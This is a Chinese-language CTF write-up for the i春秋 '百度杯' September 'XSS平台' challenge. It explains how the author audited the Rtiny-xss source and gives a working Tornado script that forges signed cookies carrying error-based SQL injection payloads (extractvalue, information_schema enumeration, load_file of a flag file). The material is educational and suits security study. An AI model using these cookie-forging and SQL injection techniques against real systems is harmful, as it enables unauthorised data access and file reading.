i春秋 “百度杯”CTF比赛 九月场 XSS平台

【i春秋 “百度杯”CTF比赛 九月场 XSS平台】欢迎扫码关注微信公众号
i春秋 “百度杯”CTF比赛 九月场 XSS平台
文章图片

https://www.ichunqiu.com/battalion?t=1
这道题是一道代码审计题,对于我这个萌新来说,不看大佬们的writeup是根本无从下手的,得到的提示就是github上的开源项目Rtiny:https://github.com/r0ker/Rtiny-xss/tree/master
大佬们是通过构造非法参数来让网页返回错误信息的,如下:
i春秋 “百度杯”CTF比赛 九月场 XSS平台
文章图片

然后就可以搜索到这个项目了,审查里面的代码,发现lock.py文件中的代码是存在注入的:
i春秋 “百度杯”CTF比赛 九月场 XSS平台
文章图片

我们可以随意构造username,代码没有做任何过滤
set_secure_cookietornado的一个方法:
i春秋 “百度杯”CTF比赛 九月场 XSS平台
文章图片

但是这个cookie是被加密过的,加密使用的keyindex.php文件中,所以我们只需要将自己的注入语句,使用相同的key加密即可,脚本如下:

import tornado.ioloop import tornado.web settings = { "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=", }class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello") #self.set_secure_cookie("username", "' and 1=2 union select (1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema='xss'))); #") self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),20,62))); #") self.write(self.get_secure_cookie("username"))def make_app(): return tornado.web.Application([ (r"/index", MainHandler), ], **settings)if __name__ == "__main__": app = make_app() app.listen(8080) tornado.ioloop.IOLoop.instance().start()

使用报错注入构造注入语句,脚本运行之后,访问本机IP:8080/index抓取cookie即可:建议使用火狐
i春秋 “百度杯”CTF比赛 九月场 XSS平台
文章图片

然后访问I春秋的题目,Burpsuit抓取,放到repeat模块中,增加参数cookie[username]并将其值设为刚才抓取到的cookie值即可,有一点要注意,显示长度是有限的,如果想要的结果长度过长,需要使用mid或者substr逐段截取,最后获取flag的时候,通过load_file读取flag文件:
select load_file('/var/www/html/f13g_ls_here.txt')

    推荐阅读